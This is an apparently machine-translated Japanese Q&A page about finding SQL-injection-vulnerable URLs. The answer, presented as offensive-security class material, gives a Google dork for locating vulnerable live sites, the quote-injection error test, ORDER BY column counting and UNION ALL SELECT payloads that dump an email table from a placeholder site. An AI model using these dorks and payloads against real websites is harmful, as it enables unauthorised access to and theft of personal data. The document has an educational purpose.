私が読んだ最後の日SQL injection
および私が目にするほとんどのurl
の例は次のようになります。
get_int_filtered.php?id=1
get_int_groupby.php?id=1
get_int_having.php?id=1
get_int_img.php?id=1
get_int_inline.php?id=SELECT+name+FROM+users
(上記は以下に含まれる小さな例です: sqlmapproject/testenv )
攻撃するURLを誰かが発見する方法の一部が欠けています。手作業ですか?たとえば、ブラウザー開発者ツールをチェックして、バックエンドへの呼び出しを確認することで、/ REST Webサイトのapiですか?Webサイトをスキャンしてurls
およびHTTP methods
(次のステップとして)を試してみますか?
SQLインジェクション:SQLインジェクション攻撃に弱いURLを見つける方法。
まず、SQLiのさまざまなタイプ here を理解する必要があります。
ここでは、古典的なインバンド注入についてお話します。 2つのタイプに分かれています:
目標:ターゲットWebサイトにSQLエラーを表示してデータベース構造情報を収集します。場合によっては、それらを使用してデータベース全体を列挙できます。
脆弱なURLの検索:Googleドックの使用。はい、Googleは弱いURLを見つけるのに役立ちます。
inurl:"product.php?id=" site:.ru
ここでは、URLにproduct.php?id=
を含むロシアのサイトをリストするようGoogleに要求しています。
なぜ?
データベースと直接通信しているページを見つけたいからです。ほとんどの場合、これらのパターンを検索する必要があります:*.php?parameter=n
申し分ありませんが、このURLがSQLiに弱いことをどうやって確認しますか?
パラメータの番号の直後に'
または%27
を置き、Enterキーを押す必要があります。
http[:]//w34ksite.com/product.php?id=1'
SQLエラーが表示される場合は、このWebサイトが挿入可能である可能性があります。
目標:UNION SQL演算子を利用して、2つ以上のSELECTステートメントの結果を1つの結果に結合します。
次のブロックは、私がinfoSecの学生のために書いた資料です(攻撃的なセキュリティクラス)
弱いサイト:
http://w34ksite.com
最初のステップ
次のように、SQLクエリを送信する可能性のあるURLを見つけます。
http://w34ksite.com/products.php?category=1
このURLは1という名前のカテゴリに再グループ化された製品をリストします
* ? * = *
で終わるURLは、ほとんどの場合、SQLデータベースと通信することを忘れないでください。これを利用したいと考えています。
2番目のステップ
URLのproducts.php?category=1
部分をSQLクエリに変換します。はい、このシナリオ(および運用中の多くのWebサイト)では、このURLの断片は偽装されたSQLクエリです。
products.php?category = 1-> SELECT * FROM products WHERE category=1
3番目のステップ
カテゴリパラメータを挿入できますか?たとえば、ORDER BY n
を追加して製品リストを並べ替えてみましょう。
http://w34ksite.com/products.php?category=1 ORDER BY 1
何も変わりません。
http://w34ksite.com/products.php?category=1 ORDER BY 2
すごい!製品の注文が変更されました!私たちはおそらく物を注入することができます!
ORDER BY n
のn番号は、出力をソートするテーブルの列番号を示します(この場合、productのテーブル列2 )。では、少し待ってください。テーブルの最大数を超える数を入力するとどうなりますか?試してみましょう。
http://w34ksite.com/products.php?category=1 ORDER BY 3
注文が再度変更されました。
http://w34ksite.com/products.php?category=1 ORDER BY 4
すごい!空白ページ!製品のテーブルに3列があると推定できます。この情報は、SQLUNION ALL演算子を使用するために重要です。
4番目のステップ
攻撃の計画。したがって、たとえば、このデータベースに書き込まれたメールアドレスをダンプしたいとします。そしてもちろん、電子メールのエントリは製品テーブルにありません。それらは別の場所にあるはずです...SQLエラーがWebページに直接表示されるときはテーブルの名前などを推測できますが、今回は運が悪く、SQLエラーはw34ksite.comに表示されません。それでは、これがこのCMSのデフォルトのメールのテーブル名であることを知っているため、メールのテーブルの名前がemailであると仮定しましょう。
SELECT * FROM email
-> http://w34ksite.com/email.php
?もちろん違います。データベースの電子メールをリストするPHPページを作成するのに十分夢中になるのは誰ですか?なぜpassword.phpではないのですか?
products.php?category=1
は、データベースと通信してデータを注入するための鍵であることを忘れないでください。このキーはデータベースドアを開きます。一般的な考え方は、このkeyを使用して電子メールテーブルのコンテンツを表示することです。それでは、製品テーブルのコンテンツ(products.php?category = 1)とを表示しないのはなぜですか?はい、これが私たちがすることです。 NION ALL演算子を使用する。
UNION ALLは非常に便利です。これを使用すると、別のSQL要求に参加できます。たとえば、このURLの部分をSQLに再度変換してみましょう。
products.php?category = 1-> SELECT * FROM products WHERE category=1
よろしいですか?
次に、UNION ALL演算子を使用して新しいクエリを追加し、電子メールテーブルをフェッチします。
SELECT * FROM products WHERE category=1
AND UNION ALL SELECT *, NULL, NULL FROM email
このようなものが必要です:
http://w34ksite.com/products.php?category=1 UNION ALL SELECT *, NULL, NULL FROM email
待って、*、NULL、NULLとは何ですか?
注入できるかどうかをテストするためにhttp://w34ksite.com/products.php?category=1 ORDER BY 4
を覚えていますか?製品のテーブルにあるcolumnの数という非常に貴重な情報が得られます。 UNION ALL演算子を使用する場合、テーブルの列番号は同じでなければなりません。
NULL
:空の列を偽造します。,
:列を別の列から分離します*
:この列のエントリを表示します何も起こらない場合は、*
を次のように移動してみてください。
http://w34ksite.com/products.php?category=1 UNION ALL SELECT *, NULL, NULL FROM email
http://w34ksite.com/products.php?category=1 UNION ALL SELECT NULL, *, NULL FROM email
http://w34ksite.com/products.php?category=1 UNION ALL SELECT NULL, NULL, * FROM email